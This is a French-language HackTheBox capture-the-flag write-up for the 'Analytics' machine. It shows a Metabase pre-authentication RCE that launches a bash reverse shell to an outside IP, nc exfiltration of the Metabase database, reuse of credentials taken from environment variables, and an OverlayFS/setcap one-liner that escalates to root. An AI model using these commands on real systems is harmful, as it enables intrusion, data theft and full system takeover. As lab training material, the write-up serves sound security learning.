HackTheBox Writeup

Analytics

Analytics - HackTheBox

Vue d'Ensemble

PropriétéValeur
IP10.10.11.233
OSLinux (Ubuntu)
DifficultéEasy
Points ClésMetabase RCE, Container Escape, OverlayFS Exploit

Phase 1 : Reconnaissance

Scan de Ports

nmap -p- --min-rate=1000 -T4 10.10.11.233
nmap -sCV -p 22,80 10.10.11.233

Résultats : Ports ouverts 22 (SSH) et 80 (HTTP).

Configuration DNS

echo "10.10.11.233 analytical.htb data.analytical.htb" | sudo tee -a /etc/hosts

Phase 2 : Reconnaissance Web - Metabase

Le sous-domaine data.analytical.htb héberge une instance Metabase v0.46.6 vulnérable à une RCE pré-authentification.

Récupération du Setup Token

curl -s http://data.analytical.htb/api/session/properties | jq .
# Repérer la valeur 'setup-token' (ex: 249fa03d-fd94-4d5b-b94f-b4ebf3df681f)

Phase 3 : Exploitation Metabase (Pré-auth RCE)

Préparation du Listener

nc -lvnp 4444

Exploitation avec POC

POC utilisé : https://github.com/m3m0o/metabase-pre-auth-rce-poc

# Adapter le token, l'URL et l'IP/port du listener
python3 main.py -u http://data.analytical.htb -t <SETUP_TOKEN> -c "bash -i >& /dev/tcp/10.10.14.64/4444 0>&1"

Alternative manuelle : Envoyer une requête POST via Burp Repeater à /api/setup/validate avec un payload encodé en base64.


Phase 4 : Post-Exploitation - Shell Metabase

Vérification de l'Environnement

whoami      # metabase
pwd         # Examiner /, /home/metabase, /metabase.db
env         # Rechercher META_PASS et META_USER

Récupération de la Base Metabase

# Depuis la machine cible
nc <votre-ip> 4445 < /metabase.db/metabase.db.mv.db

# Sur votre machine locale
nc -lvnp 4445 > metabase.db.mv.db

Extraction des Credentials

env | grep META

Credentials trouvés :

META_USER=metalytics
META_PASS=An4lytics_ds20223#

Phase 5 : Accès SSH - Utilisateur Metalytics

Connexion SSH

ssh [email protected]
# Mot de passe: An4lytics_ds20223#

ou avec sshpass :

sshpass -p 'An4lytics_ds20223#' ssh [email protected]

🚩 Flag User

cat /home/metalytics/user.txt

🚩 Flag User: HTB{...}


Phase 6 : Escalade de Privilèges Root

Identification de la Vulnérabilité

La machine est vulnérable à une exploitation OverlayFS / unshare + setcap.

uname -a
# Vérifier la version du kernel

Exploitation OverlayFS

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; \
setcap cap_setuid+eip l/python3; \
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && \
l/python3 -c 'import os;os.setuid(0);os.system("/bin/sh -c \"id; cat /root/root.txt\"")'

Alternative : Utiliser un exploit public depuis les dépôts GitHub mentionnés dans les articles sur OverlayFS / CVE 2023.

🚩 Flag Root

cat /root/root.txt

🚩 Flag Root: HTB{...}


Compétences Développées

  • Exploitation de vulnérabilités Metabase (CVE pré-auth RCE)
  • Énumération de containers
  • Extraction de credentials depuis variables d'environnement
  • Exploitation OverlayFS / capabilities Linux
  • Container escape

Outils Utilisés

  • nmap - Reconnaissance réseau
  • curl + jq - Interrogation d'APIs
  • nc - Reverse shell et transfert de fichiers
  • POC Metabase RCE - Exploitation pré-auth
  • linpeas.sh - Énumération post-exploitation
  • strings / sqlite3 - Analyse de bases de données
  • ssh / sshpass - Connexion distante

Bonnes Pratiques

  • Ces techniques doivent être exécutées uniquement dans des environnements autorisés (CTF/lab)
  • Ne pas utiliser sur des systèmes de production sans autorisation explicite
  • Adapter les IPs, tokens et chemins aux valeurs réelles de votre instance

Références